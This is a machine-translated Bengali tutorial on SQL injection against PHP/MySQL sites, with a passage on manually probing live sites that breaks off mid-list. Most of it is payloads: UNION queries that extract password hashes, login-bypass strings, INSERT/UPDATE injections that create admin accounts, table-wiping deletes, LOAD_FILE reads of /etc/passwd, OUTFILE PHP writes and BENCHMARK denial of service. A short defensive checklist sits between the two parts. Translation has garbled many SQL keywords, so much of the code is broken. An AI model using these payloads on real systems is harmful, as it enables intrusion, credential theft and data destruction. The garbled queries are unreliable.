এসকিউএল ইনজেকশন. এটা কি? কিভাবে MySQL সংস্করণ খুঁজে বের করবেন

অসাবধানতা এবং অসাবধানতা কোড লেখার দুটি কারণ যা এসকিউএল ইনজেকশনের জন্য ঝুঁকিপূর্ণ। তৃতীয় কারণ - অজ্ঞতা, প্রোগ্রামারকে তার জ্ঞান গভীর করতে বা এমনকি তার পেশা পরিবর্তন করতে উত্সাহিত করা উচিত।

এসকিউএল ইনজেকশন ( এসকিউএল ইনজেকশন) - দুর্বলতা যা অপর্যাপ্ত ডেটা যাচাইকরণ এবং প্রক্রিয়াকরণের কারণে ঘটে, যা ব্যবহারকারীর কাছ থেকে প্রেরণ করা হয় এবং আপনাকে SQL প্রোগ্রাম কোড দ্বারা অপ্রত্যাশিত প্রশ্নগুলিকে সংশোধন এবং কার্যকর করতে দেয়।

এসকিউএল ইনজেকশন হল ইন্টারনেটে একটি ব্যাপক নিরাপত্তা ত্রুটি যা বিশেষ প্রোগ্রাম ছাড়াই সহজেই কাজে লাগানো যায় এবং এর জন্য ব্যাপক প্রযুক্তিগত জ্ঞানের প্রয়োজন হয় না। এই দুর্বলতাকে কাজে লাগানো মহান সুযোগের দরজা খুলে দেয় যেমন:

  • তথ্য চুরি - 80%;
  • পরিষেবা অস্বীকার - 10 শতাংশ;
  • তথ্য প্রতিস্থাপন বা ধ্বংস - 2-3%;
  • অন্যান্য ক্ষেত্রে এবং উদ্দেশ্য।

সব ধরনের JS এবং SQL ইনজেকশনের জন্য ওয়েবসাইট নিরাপত্তা পরীক্ষা করার জন্য বিভিন্ন প্রোগ্রাম রয়েছে।

বিস্তারিত ব্যাখ্যা

এই নিবন্ধে আমি মাইএসকিউএল ডাটাবেসের সাথে ইন্টারঅ্যাক্ট করার সময় উদ্ভূত প্রধান ঝুঁকিগুলি ব্যাখ্যা করার চেষ্টা করব। স্পষ্টতার জন্য, আমি একটি সাধারণ ডাটাবেস কাঠামোর একটি উদাহরণ দেব, যা বেশিরভাগ প্রকল্পের জন্য সাধারণ:

ডেটাবেস তৈরি করুন `সংবাদ`; `সংবাদ` ব্যবহার করুন; # # সংবাদ টেবিল # সারণী তৈরি করুন `সংবাদ` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) ডিফল্ট NULL, `date` datetime default NULL, `text` text, PRIMARY KEY (`id` )) TYPE=MyISAM; # # কিছু ডেটা যোগ করুন # ঢোকান `সংবাদ` সেট `id`="1", `title`="প্রথম সংবাদ", `date`="2005-06-25 16:50:20", `text`=" সংবাদ পাঠ্য"; INSERT `news` SET `id`="2", `title`="second news", `date`="2005-06-24 12:12:33", `text`="পরীক্ষার সংবাদ"; # # ব্যবহারকারী টেবিল # সারণী তৈরি করুন `ব্যবহারকারী` (`আইডি` int(11) শূন্য স্বয়ংক্রিয়_বৃদ্ধি নয়, `লগইন` varchar(50) ডিফল্ট NULL, `password` varchar(50) ডিফল্ট NULL, `admin` int(1) NULL ডিফল্ট "0", প্রাথমিক কী (`id`)) TYPE=MyISAM; # # একাধিক ব্যবহারকারী যোগ করুন, একজন অ্যাডমিন অধিকার সহ, অন্যটি সহজ # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1 "; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

আমরা দেখতে পাই যে $_GET["id"] এর মানের উপর নির্ভর করে অনুরোধটি তৈরি হয়েছে। একটি দুর্বলতার উপস্থিতি পরীক্ষা করার জন্য, এটিকে এমন একটি মানতে পরিবর্তন করা যথেষ্ট যা SQL ক্যোয়ারী চালানোর ক্ষেত্রে একটি ত্রুটি সৃষ্টি করতে পারে।

অবশ্যই, কোন ত্রুটি আউটপুট নাও হতে পারে, কিন্তু এর মানে এই নয় যে কোন ত্রুটি নেই, ফলস্বরূপ

“আপনার এসকিউএল সিনট্যাক্সে একটি ত্রুটি আছে; লাইন 1 এ """ এর কাছাকাছি ব্যবহার করার জন্য সঠিক সিনট্যাক্সের জন্য আপনার MySQL সার্ভার সংস্করণের সাথে সামঞ্জস্যপূর্ণ ম্যানুয়ালটি পরীক্ষা করুন

বা ফলাফল

http://test.com/index.php?id=2-1

যদি একটি দুর্বলতা থাকে, তাহলে এটির অনুরূপ ফলাফল তৈরি করা উচিত

http://test.com/index.php?id=1.

অনুরূপ দুর্বলতা আপনাকে অনুরোধ সংশোধন করার অনুমতি দেয় WHERE প্যারামিটার অংশে। এই ধরনের দুর্বলতা আবিষ্কৃত হলে আক্রমণকারী প্রথমে যা করবে তা হল অনুরোধে কতগুলি ক্ষেত্র ব্যবহার করা হয়েছে তা পরীক্ষা করা। এটি করার জন্য, একটি ইচ্ছাকৃতভাবে ভুল আইডি প্রকৃত তথ্যের আউটপুট বাদ দিতে সেট করা হয় এবং একই সংখ্যক খালি ক্ষেত্রগুলির সাথে একটি অনুরোধের সাথে মিলিত হয়।

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

অনুরোধে ব্যবহৃত ক্ষেত্রগুলির সংখ্যার সাথে "nulls" এর সংখ্যা অবশ্যই মিলবে।

যদি ক্যোয়ারী একটি ত্রুটি নিক্ষেপ করে, ত্রুটিটি অদৃশ্য না হওয়া পর্যন্ত আরেকটি খালি মান যোগ করা হয় এবং খালি ডেটা সহ একটি ফলাফল ফেরত দেওয়া হয়। এরপরে, সম্মিলিত ক্ষেত্রগুলি এমন মান দিয়ে প্রতিস্থাপিত হয় যা পৃষ্ঠায় দৃশ্যত পর্যবেক্ষণ করা যায়।

উদাহরণ স্বরূপ:

http://test.com/index.php?id=-1+UNION+SELECT+null

এখন যে পেজে খবরের শিরোনাম দেখানোর কথা ছিল সেখানে qwerty দেখাবে।

কিভাবে MySQL সংস্করণ খুঁজে বের করতে?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

বর্তমান ডাটাবেস ব্যবহারকারীর লগইন কিভাবে পুনরুদ্ধার করবেন?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

ব্যবহৃত ডাটাবেসের নাম কি?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

কিভাবে অন্যান্য টেবিল থেকে অন্যান্য তথ্য পেতে?

`সংবাদ` যেখানে `id`=-1 ইউনিয়ন নির্বাচন করুন নাল, `পাসওয়ার্ড`, নাল, শূন্য `ব্যবহারকারীদের` যেখানে `id`="1" থেকে নির্বাচন করুন;

এটি অ্যাডমিনিস্ট্রেটরের পাসওয়ার্ড বা পাসওয়ার্ড হ্যাশ খুঁজে বের করার একটি সহজ উপায়। যদি বর্তমান ব্যবহারকারীর "mysql" ডাটাবেসের অ্যাক্সেসের অধিকার থাকে, তবে আক্রমণকারী সামান্য সমস্যা ছাড়াই প্রশাসকের পাসওয়ার্ড হ্যাশ পাবে।

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

এখন তার নির্বাচন সময়ের ব্যাপার মাত্র।

অনুসন্ধান করুন

অনুসন্ধান হল সবচেয়ে ঝুঁকিপূর্ণ জায়গাগুলির মধ্যে একটি, যেহেতু বিপুল সংখ্যক ক্যোয়ারী প্যারামিটার একই সাথে প্রেরণ করা হয়৷ একটি সাধারণ প্রশ্নের একটি উদাহরণ যা কীওয়ার্ড দ্বারা অনুসন্ধান করে:

`সংবাদ` থেকে * নির্বাচন করুন যেখানে `শিরোনাম` লাইক "%$search%" বা `টেক্সট` লাইক "%$search%"

$search হল সেই শব্দ যা ফর্ম থেকে পাঠানো হয়। একজন আক্রমণকারী ভেরিয়েবলে $search="# পাস করতে পারে, এখন অনুরোধটি এরকম দেখাবে:

`সংবাদ` থেকে * নির্বাচন করুন যেখানে `শিরোনাম` লাইক "%"#%" বা `টেক্সট` লাইক "%"#%";

তদনুসারে, কীওয়ার্ডের জন্য অনুসন্ধান ফলাফলের পরিবর্তে, সমস্ত ডেটা প্রদর্শিত হবে। এটি আপনাকে উপরে বর্ণিত ক্যোয়ারী অ্যাগ্রিগেশন বৈশিষ্ট্যটি ব্যবহার করার অনুমতি দেয়।

ORDER প্যারামিটার ব্যবহার করে

আপনি প্রায়ই দেখতে পারেন যে অনুসন্ধান পরামিতি প্রবেশ করার সময়, বা তথ্য প্রদর্শন করার সময়, তারা ব্যবহারকারীকে নির্দিষ্ট ক্ষেত্র অনুসারে ডেটা সাজানোর অনুমতি দেয়। আমি এখনই বলব যে এই দুর্বলতা ব্যবহার করা খুব বিপজ্জনক নয়, যেহেতু অনুরোধগুলি একত্রিত করার চেষ্টা করার সময় এটি একটি ত্রুটি সৃষ্টি করবে, তবে অন্যান্য ক্ষেত্রের দুর্বলতার সাথে এই প্যারামিটারটি মন্তব্য করার একটি বিপদ রয়েছে।

http://test.com/index.php?sort=name

$sort ভেরিয়েবলের উপর নির্ভর করে ORDER প্যারামিটার গঠিত হয়

নিম্নলিখিত অনুরোধ তৈরি করা হবে:

`সংবাদ` থেকে * নির্বাচন করুন যেখানে `শিরোনাম` লাইক "%"/*%" বা `টেক্সট` লাইক "%"/*%" অর্ডার করে */

এইভাবে শর্তগুলির একটি এবং ORDER পরামিতি মন্তব্য করে৷

এখন আপনি $sort=*/ UNION SELECT... বরাদ্দ করে প্রশ্নটি আবার একত্রিত করতে পারেন...

এই প্যারামিটারের দুর্বলতা কাজে লাগানোর বিকল্প হিসেবে:

দৈর্ঘ্য (পাসওয়ার্ড) দ্বারা `ব্যবহারকারী` অর্ডার থেকে * নির্বাচন করুন;

এটি আপনাকে পাসওয়ার্ডের দৈর্ঘ্যের উপর নির্ভর করে ব্যবহারকারীদের সাজানোর অনুমতি দেবে, যদি এটি একটি "বিশুদ্ধ" আকারে সংরক্ষিত থাকে।

অনুমোদন

আসুন এখন ব্যবহারকারীর অনুমোদনের সময় ঘটে যাওয়া SQL ইনজেকশনগুলির বিকল্পগুলি বিবেচনা করার চেষ্টা করি। সাধারণত, অনুমোদন ডেটার সঠিকতা পরীক্ষা করে এমন অনুরোধটি এইরকম দেখায়:

`ব্যবহারকারী` যেখানে `লগইন`="$লগইন" এবং `পাসওয়ার্ড`="$পাসওয়ার্ড" থেকে * নির্বাচন করুন;

যেখানে $login এবং $password হল ভেরিয়েবল যা ফর্ম থেকে পাস করা হয়। এই ধরনের ক্যোয়ারী সফল হলে ব্যবহারকারীর জন্য ডেটা ফেরত দেয় এবং ব্যর্থ হলে খালি ফলাফল দেয়। তদনুসারে, অনুমোদন পাস করার জন্য, একজন আক্রমণকারীকে শুধুমাত্র অনুরোধটি সংশোধন করতে হবে যাতে এটি একটি অ-শূন্য ফলাফল প্রদান করে। একটি লগইন নির্দিষ্ট করা হয়েছে যেটি একজন প্রকৃত ব্যবহারকারীর সাথে মিলে যায় এবং একটি পাসওয়ার্ডের পরিবর্তে, " OR "1"="1" বা কিছু সত্য শর্ত (1, "a"="a", 1)<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 BETWEEN 1 এবং 3)। তদনুসারে, অনুরোধটি নিম্নরূপ তৈরি করা হবে:

`ব্যবহারকারী` যেখানে `লগইন`="প্রশাসক" এবং `পাসওয়ার্ড`="" বা "1"="1" থেকে * নির্বাচন করুন;

যা ফলাফল ফিরিয়ে দেবে, এবং ফলস্বরূপ, অননুমোদিত অনুমোদনের দিকে পরিচালিত করবে। যদি টেবিলের পাসওয়ার্ড হ্যাশ করা হয়? তারপরে 'লগইন' এর পরে আসা সমস্ত কিছু মন্তব্য করে পাসওয়ার্ড চেকটি কেবল "অক্ষম" করা হয়। ফর্মে, লগইনের পরিবর্তে, প্রকৃত ব্যবহারকারীর লগইন বরাদ্দ করা হয় এবং "# এর মাধ্যমে পাসওয়ার্ড চেক কমেন্ট করে।

`ব্যবহারকারী` যেখানে `লগইন`="অ্যাডমিন"#" এবং `পাসওয়ার্ড`="12345" থেকে * নির্বাচন করুন

একটি বিকল্প হিসাবে "বা `আইডি` = 2#

`ব্যবহারকারী` যেখানে `লগইন`="" বা `id`=2#" এবং `পাসওয়ার্ড`="12345" থেকে * নির্বাচন করুন

`ব্যবহারকারী` যেখানে `লগইন`="" বা `প্রশাসক`="1"#" এবং `পাসওয়ার্ড`="12345" থেকে * নির্বাচন করুন

একটি বড় ভুল এই মত পাসওয়ার্ড চেক করা হয়:

`ব্যবহারকারী` যেখানে `লগইন`="$লগইন" এবং `পাসওয়ার্ড` লাইক "$password" থেকে * নির্বাচন করুন

যেহেতু এই ক্ষেত্রে পাসওয়ার্ড % যেকোনো লগইনের জন্য উপযুক্ত

সন্নিবেশ এবং আপডেট

যাইহোক, এটি শুধুমাত্র SELECTs নয় যেগুলি SQL-এর একটি দুর্বল পয়েন্ট। INSERT এবং UPDATE কম ঝুঁকিপূর্ণ হতে পারে না। ধরা যাক সাইটটিতে ব্যবহারকারীদের নিবন্ধন করার ক্ষমতা রয়েছে। একটি নতুন ব্যবহারকারী যোগ করে এমন প্রশ্ন:

ক্ষেত্রগুলির একটিতে একটি দুর্বলতা অনুরোধটিকে প্রয়োজনীয় ডেটার সাথে পরিবর্তন করার অনুমতি দেয়। লগইন ক্ষেত্রে আমরা ব্যবহারকারী যোগ করি, "পাসওয়ার্ড", 1)# এর ফলে অ্যাডমিন অধিকার সহ একজন ব্যবহারকারী যোগ করি।

INSERT `users` SET `login`="user", `password`="password", `admin`="0";

ধরা যাক যে `অ্যাডমিন` ফিল্ডটি `লগইন` ফিল্ডের আগে অবস্থিত, তাই `লগইন` ফিল্ডের পরে আসা ডেটা প্রতিস্থাপনের কৌশল কাজ করে না। আমাদের মনে রাখা যাক যে INSERT কমান্ডের সিনট্যাক্স আপনাকে শুধুমাত্র একটি লাইন নয়, বেশ কয়েকটি যোগ করতে দেয়। লগইন ক্ষেত্রে একটি দুর্বলতার উদাহরণ: $login= user", "পাসওয়ার্ড"), (1, "হ্যাকার", "পাসওয়ার্ড")#

`ব্যবহারকারী` সেট (`অ্যাডমিন`, `লগইন`, `পাসওয়ার্ড`) মান (0, "ব্যবহারকারী", "পাসওয়ার্ড"), (1, "হ্যাকার", "পাসওয়ার্ড")#", "পাসওয়ার্ড") ঢোকান ;

এইভাবে, 2টি এন্ট্রি তৈরি করা হয়, একটি সাধারণ ব্যবহারকারীর অধিকার সহ, অন্যটি পছন্দসই প্রশাসক অধিকার সহ।

আপডেটের সাথে একটি অনুরূপ পরিস্থিতি

পরিবর্তন করতে অতিরিক্ত ক্ষেত্র যোগ করা হচ্ছে:

$login=", `password`="", `admin`="1

তারপর একটি অনুরূপ অনুরোধ

আপডেট `ব্যবহারকারী` সেট `লগইন`="চাপানি" যেখানে `id`=2;

নিম্নরূপ সংশোধিত:

আপডেট `ব্যবহারকারী` সেট `লগইন`="", `পাসওয়ার্ড`="", `অ্যাডমিন`="1" যেখানে `id`=2;

কি হবে? আইডি 2 সহ ব্যবহারকারী লগইন এবং পাসওয়ার্ড খালি মানগুলিতে পরিবর্তন করবেন এবং প্রশাসকের অধিকার পাবেন। বা ক্ষেত্রে

$login=", `password`="" কোথায় `id` =1#

অ্যাডমিন লগইন এবং পাসওয়ার্ড খালি থাকবে।

মুছে ফেলা

এখানে সবকিছুই সহজ, আপনি কোনও ডেটা পেতে বা পরিবর্তন করতে পারবেন না, তবে অপ্রয়োজনীয় ডেটা মুছে ফেলতে আপনাকে সর্বদা স্বাগত জানাই৷

$id=1 বা 1=1

`সংবাদ` যেখানে `id`="1" বা 1=1 থেকে মুছুন; // টেবিলের সমস্ত এন্ট্রি সাফ করে।

1=1 এর পরিবর্তে উপরে উল্লিখিত যেকোনো সত্য শর্ত থাকতে পারে। LIMIT প্যারামিটার সংরক্ষণ করা যেতে পারে, যা মুছে ফেলা লাইনের সংখ্যা সীমিত করবে, কিন্তু সবসময় নয়, এটি কেবল মন্তব্য করা যেতে পারে।

`সংবাদ` থেকে মুছে ফেলুন যেখানে `id`="1" বা 1=1# সীমা 1;

এসকিউএল ইনজেকশনের মাধ্যমে ফাইলগুলির সাথে কাজ করা

আমি গুরুতরভাবে সন্দেহ করি যে এটি যে কোনও জায়গায় ঘটতে পারে, তবে ন্যায্য হতে, এই জাতীয় পদ্ধতিগুলিও বর্ণনা করা দরকার। যখন ফাইলের সুবিধাগুলি সক্রিয় করা হয়, আপনি LOAD_FILE এবং OUTFILE কমান্ডগুলি ব্যবহার করতে পারেন৷

তাদের বিপদ নিচের প্রশ্ন থেকে বিচার করা যেতে পারে:

`সংবাদ` থেকে * নির্বাচন করুন যেখানে `id`=-1 ইউনিয়ন নির্বাচন করুন null,LOAD_FILE("/etc/passwd"), null,null; `সংবাদ` থেকে * নির্বাচন করুন যেখানে `id`=-1 ইউনিয়ন নির্বাচন করুন নাল, LOAD_FILE("/home/test/www/dbconf.php"), নাল, নাল;

কিন্তু সব ঝামেলা এখনো শেষ হয়নি।

`সংবাদ` থেকে * নির্বাচন করুন যেখানে `id`=-1 ইউনিয়ন নির্বাচন করুন null,"", null,null from `news` outfile "/home/test/www/test.php";

এইভাবে আমরা একটি ফাইল লিখি যাতে পিএইচপি কোড থাকে। সত্য, কোডটি ছাড়াও, এতে আরও বেশ কয়েকটি নাল এন্ট্রি থাকবে, তবে এটি কোনওভাবেই পিএইচপি কোডের কার্যকারিতাকে প্রভাবিত করবে না। যাইহোক, বেশ কয়েকটি শর্ত রয়েছে যার কারণে এই পদ্ধতিগুলি কাজ করবে:

  • বর্তমান ডাটাবেস ব্যবহারকারীর জন্য FILE বিশেষাধিকার সক্রিয় করা হয়েছে;
  • এই ফাইলগুলি পড়ার বা লেখার অধিকার সেই ব্যবহারকারীর জন্য যার অধীনে MySQL সার্ভার চলছে; ফাইলের পরম পথ;
  • একটি কম গুরুত্বপূর্ণ শর্ত হল যে ফাইলের আকার অবশ্যই max_allowed_packet-এর চেয়ে কম হতে হবে, কিন্তু যেহেতু MySQL 3.23-এ সবচেয়ে বড় প্যাকেজের আকার 16 MB হতে পারে এবং 4.0.1 এবং আরও বেশি, প্যাকেজের আকার শুধুমাত্র উপলব্ধ মেমরির পরিমাণ দ্বারা সীমিত, একটি তাত্ত্বিক সর্বোচ্চ 2 GB পর্যন্ত এই অবস্থা সাধারণত সবসময় উপলব্ধ.

ম্যাজিক উদ্ধৃতি

ম্যাজিক কোটগুলি স্ট্রিং ভেরিয়েবলে এসকিউএল ইনজেকশনগুলি ব্যবহার করা অসম্ভব করে তোলে, কারণ তারা স্বয়ংক্রিয়ভাবে সমস্ত " এবং " এড়িয়ে যায় যা $_GET এবং $_POST এর সাথে আসে। কিন্তু এটি পূর্ণসংখ্যা বা ভগ্নাংশের পরামিতিগুলিতে দুর্বলতার ব্যবহারের ক্ষেত্রে প্রযোজ্য নয়, যদিও ব্যতিক্রমের সাথে এটি ব্যবহার করা সম্ভব হবে না। এই ক্ষেত্রে, char ফাংশন সাহায্য করে।

`সংবাদ` যেখানে `id`=-1 ইউনিয়ন নির্বাচন করুন null, char(116, 101, 115, 116), null, null;

এসকিউএল ইনজেকশনের মাধ্যমে ডস।

আমি প্রায় বলতে ভুলে গেছি, এবং SQL বিশেষজ্ঞরা নিশ্চিত করবেন যে UNION অপারেশন শুধুমাত্র MySQL >=4.0.0 এ সম্ভব। যাদের পূর্ববর্তী সংস্করণের প্রকল্প রয়েছে তারা স্বস্তির নিঃশ্বাস ফেলেছে :) তবে সবকিছুই প্রথম নজরে যতটা নিরাপদ মনে হয় ততটা নিরাপদ নয়। আক্রমণকারীর যুক্তি কখনও কখনও অনুসরণ করা কঠিন। "যদি আমি হ্যাক করতে না পারি, অন্তত আমি ব্যর্থ হব," হ্যাকার ভাববে, একটি উদাহরণ অনুরোধের জন্য বেঞ্চমার্ক ফাংশন টাইপ করে

`সংবাদ` যেখানে `id`=বেঞ্চমার্ক(1000000,MD5(NOW()));

এটা আমার 12 থেকে 15 সেকেন্ড সময় নিয়েছে। একটি শূন্য যোগ করা হচ্ছে - 174 সেকেন্ড। আমি কেবল আরও কিছু করার জন্য আমার হাত বাড়াতে পারিনি। অবশ্যই, শক্তিশালী সার্ভারগুলিতে এই ধরনের জিনিসগুলি অনেক দ্রুত সম্পন্ন হবে, কিন্তু...বেঞ্চমার্ক আপনাকে একের পর এক বিনিয়োগ করতে দেয়। এটার মত:

`সংবাদ` থেকে * নির্বাচন করুন যেখানে `id`=বেঞ্চমার্ক(1000000,বেঞ্চমার্ক(1000000,MD5(NOW()));

বা এমনকি এই মত

`সংবাদ` থেকে * নির্বাচন করুন যেখানে `id`=বেঞ্চমার্ক(1000000,বেঞ্চমার্ক(1000000,বেঞ্চমার্ক(1000000,MD5(NOW())));

এবং শূন্যের সংখ্যা কেবলমাত্র যিনি টাইপ করেন তার "দয়া" দ্বারা সীমাবদ্ধ।

আমি মনে করি যে এমনকি একটি খুব শক্তিশালী মেশিনও এই ধরনের অনুরোধগুলি সহজে গ্রাস করতে সক্ষম হবে না।

শেষের সারি

এখানেই শেষ. এই নিবন্ধে, আমি MySQL ডাটাবেস ব্যবহার করে প্রোগ্রাম তৈরি করার সময় প্রোগ্রামাররা যে ধরনের দুর্বলতাগুলি তৈরি করে তা যতটা সম্ভব কভার করার চেষ্টা করেছি। যাইহোক, আমি নিশ্চিত যে এটি একটি সম্পূর্ণ তালিকা নয়।

এসকিউএল ইনজেকশনের বিরুদ্ধে নিয়মগুলি মনে রাখা গুরুত্বপূর্ণ

  • ব্যবহারকারীর কাছ থেকে আসা কোনো তথ্য বিশ্বাস করবেন না। আমরা শুধুমাত্র $_GET এবং $_POST অ্যারেতে স্থানান্তরিত ডেটা সম্পর্কে কথা বলছি না। $_COOKIE এবং HTTP হেডারের অন্যান্য অংশ সম্পর্কে ভুলবেন না। আপনার মনে রাখা উচিত যে এগুলি প্রতিস্থাপন করা সহজ।
  • আপনার পিএইচপি "ম্যাজিক কোটস" বিকল্পের উপর নির্ভর করা উচিত নয়, যা সম্ভবত এটি সাহায্য করার চেয়ে বেশি বাধা দেয়। ডাটাবেসে স্থানান্তরিত সমস্ত ডেটা ডাটাবেস ক্ষেত্রগুলির সাথে টাইপ দ্বারা সংক্ষিপ্ত করা আবশ্যক। ($id=(int)$_GET["id"]) অথবা mysql_real_escape_string বা mysql_real_escape_string ফাংশন দ্বারা সুরক্ষিত।
  • mysql_real_escape_string % এবং _ এড়িয়ে যায় না, তাই এটি LIKE এর সাথে ব্যবহার করা উচিত নয়।
  • আপনার সঠিকভাবে লেখা mod_rewrite এর উপর খুব বেশি নির্ভর করা উচিত নয়। এইগুলি শুধুমাত্র "সুবিধাজনক" URL তৈরি করার উপায়, কিন্তু অবশ্যই SQL ইনজেকশন থেকে রক্ষা করার উপায় নয়।
  • ত্রুটি রিপোর্টিং অক্ষম করুন.
  • খারাপ দর্শকদের সাহায্য করবেন না। ত্রুটি সনাক্ত করা গেলেও, এটি সম্পর্কে তথ্যের অভাব এটির প্রয়োগকে মারাত্মকভাবে বাধা দেবে। উন্নয়ন পর্যায় এবং কাজের খসড়ার মধ্যে পার্থক্য মনে রাখবেন। ত্রুটি আউটপুটএবং অন্যান্য বিস্তারিত তথ্য - উন্নয়ন পর্যায়ে আপনার মিত্র, এবং আক্রমণকারীর সহযোগীকাজের সংস্করণে। আপনার HTML কোডে মন্তব্য করে সেগুলি লুকানো উচিত নয়; প্রতি 1000 দর্শকের জন্য 1 জন থাকবে যারা এখনও এই ধরনের জিনিসগুলি খুঁজে পাবে।
  • ত্রুটিগুলি পরিচালনা করুন।
  • এসকিউএল কোয়েরিগুলিকে এমনভাবে প্রসেসিং লিখুন যাতে সেগুলির সম্পর্কে তথ্য কিছু লগে সংরক্ষণ করা হয় বা মেল দ্বারা পাঠানো হয়।
  • কোড হিসাবে PHP দ্বারা প্রক্রিয়া করা হয় না যে ফাইলগুলিতে ডেটাবেস অ্যাক্সেস ডেটা সংরক্ষণ করবেন না।
  • আমি মনে করি না যে আমি কারও কাছে আমেরিকা আবিষ্কার করেছি, তবে আমার নিজের অভিজ্ঞতা থেকে আমি বলতে পারি যে এই অভ্যাসটি বেশ সাধারণ। সাধারণত এটি এক্সটেনশন *.inc সহ একটি ফাইল
  • একটি ডাটাবেস "সুপার ব্যবহারকারী" তৈরি করবেন না।
  • নির্দিষ্ট কাজ সম্পাদন করার জন্য শুধুমাত্র প্রয়োজনীয় অধিকার প্রদান করুন।
  • অনুসন্ধানে, এটি সর্বনিম্ন এবং সর্বাধিক সংখ্যক অক্ষর সীমাবদ্ধ করা মূল্যবান, যা ক্যোয়ারী প্যারামিটার।
  • একজন সৎ ব্যবহারকারীর জন্য, 3 থেকে 60-70 অক্ষর তাদের অনুসন্ধানের আগ্রহগুলিকে সন্তুষ্ট করার জন্য যথেষ্ট, এবং একই সময়ে আপনি এমন পরিস্থিতিতে প্রতিরোধ করতে পারেন যখন অনুসন্ধানের প্রশ্নটি "যুদ্ধ এবং শান্তি" এর ভলিউম হবে।
  • সর্বদা একটি প্রশ্নের পরে ফেরত রেকর্ড সংখ্যা পরীক্ষা করুন

প্রায় 90% সাইট পিএইচপি-তে লেখাএই ধরনের একটি যৌক্তিক ত্রুটি আছে, এটি বিশেষভাবে লক্ষ্য করা যায় যখন ব্যবহারকারীর কাছ থেকে প্রাপ্ত আইডির উপর ভিত্তি করে একটি অনুরোধ করা হয়। আপনি যদি ম্যানুয়ালি স্ক্রিপ্টটিকে একটি অস্তিত্বহীন আইডি দেন, আমরা কিছু স্ক্রিপ্টের কাজ থেকে বেশ আকর্ষণীয় ফলাফল দেখতে পাব। , 404 ফেরত দেওয়ার পরিবর্তে, প্রোগ্রামটি সর্বোত্তমভাবে কিছুই করবে না এবং একটি ফাঁকা পৃষ্ঠায় প্রদর্শন করবে।

আপনার কাছে নিরাপদ এসকিউএল.

ইন্টারনেটে সাইট এবং পেজের সংখ্যা ক্রমাগত বাড়ছে। যারা পারে সবাই উন্নয়নের ভার নিচ্ছে। এবং নবীন ওয়েব প্রোগ্রামাররা প্রায়ই অনিরাপদ এবং পুরানো কোড ব্যবহার করে। এবং এটি আক্রমণকারী এবং হ্যাকারদের জন্য অনেক ফাঁকি তৈরি করে। যা তারা ব্যবহার করে। সবচেয়ে ক্লাসিক দুর্বলতাগুলির মধ্যে একটি হল এসকিউএল ইনজেকশন।

একটু তত্ত্ব

অনেকে জানেন যে ইন্টারনেটে বেশিরভাগ সাইট এবং পরিষেবাগুলি সেগুলি সংরক্ষণ করতে SQL ডাটাবেস ব্যবহার করে। এটি একটি স্ট্রাকচার্ড ক্যোয়ারী ল্যাঙ্গুয়েজ যা আপনাকে ডেটা গুদামগুলি পরিচালনা ও পরিচালনা করতে দেয়। ডাটাবেস ম্যানেজমেন্ট সিস্টেমের বিভিন্ন সংস্করণ রয়েছে - ওরাকল, মাইএসকিউএল, পোস্টগ্রে। নাম এবং প্রকার নির্বিশেষে, তারা একই ভাবে ডেটা প্রশ্ন ব্যবহার করে। এখানেই সম্ভাব্য দুর্বলতা রয়েছে। যদি বিকাশকারী সঠিকভাবে এবং নিরাপদে অনুরোধটি প্রক্রিয়া করতে অক্ষম হন, তবে আক্রমণকারী এটির সুবিধা নিতে পারে এবং ডাটাবেসে অ্যাক্সেস পেতে বিশেষ কৌশল ব্যবহার করতে পারে এবং সেখান থেকে পুরো সাইটটি নিয়ন্ত্রণ করতে পারে।

এই ধরনের পরিস্থিতি এড়াতে, আপনাকে সঠিকভাবে কোডটি অপ্টিমাইজ করতে হবে এবং কোন অনুরোধটি কোন উপায়ে প্রক্রিয়া করা হয়েছে তা সাবধানে পর্যবেক্ষণ করতে হবে।

এসকিউএল ইনজেকশনের জন্য পরীক্ষা করা হচ্ছে

নেটওয়ার্কে দুর্বলতার উপস্থিতি নির্ধারণ করতে, অনেকগুলি প্রস্তুত-তৈরি স্বয়ংক্রিয় সফ্টওয়্যার সিস্টেম রয়েছে। কিন্তু আপনি ম্যানুয়ালি একটি সাধারণ চেক করতে পারেন। এটি করার জন্য, আপনি যে সাইটে গবেষণা করছেন তার একটিতে যেতে হবে এবং ঠিকানা বারে একটি ডাটাবেস ত্রুটি ট্রিগার করার চেষ্টা করতে হবে। উদাহরণস্বরূপ, একটি ওয়েবসাইটের একটি স্ক্রিপ্ট অনুরোধগুলি প্রক্রিয়া নাও করতে পারে এবং সেগুলি কেটে নাও দিতে পারে৷

উদাহরণস্বরূপ, একটি নির্দিষ্ট_site/index.php?id=25 আছে

সবচেয়ে সহজ উপায় হল 25 এর পরে একটি উদ্ধৃতি দেওয়া এবং একটি অনুরোধ পাঠানো। যদি কোনও ত্রুটি না ঘটে, তবে হয় সমস্ত অনুরোধ সাইটে ফিল্টার করা হয় এবং সঠিকভাবে প্রক্রিয়া করা হয়, অথবা সেটিংসে তাদের আউটপুট অক্ষম করা হয়। যদি পৃষ্ঠাটি সমস্যার সাথে পুনরায় লোড হয়, তাহলে এর অর্থ SQL ইনজেকশনের জন্য একটি দুর্বলতা রয়েছে।

একবার এটি সনাক্ত করা হলে, আপনি এটি পরিত্রাণ পেতে চেষ্টা করতে পারেন।

এই দুর্বলতা বাস্তবায়নের জন্য আপনাকে তাদের মধ্যে একটি UNION সম্পর্কে কিছুটা জানতে হবে। এটি একটিতে একাধিক ক্যোয়ারী ফলাফল একত্রিত করে। এইভাবে আপনি টেবিলের ক্ষেত্রের সংখ্যা গণনা করতে পারেন। প্রথম অনুরোধের একটি উদাহরণ এই মত দেখায়:

  • some_site/index.php?id=25 ইউনিয়ন নির্বাচন 1.

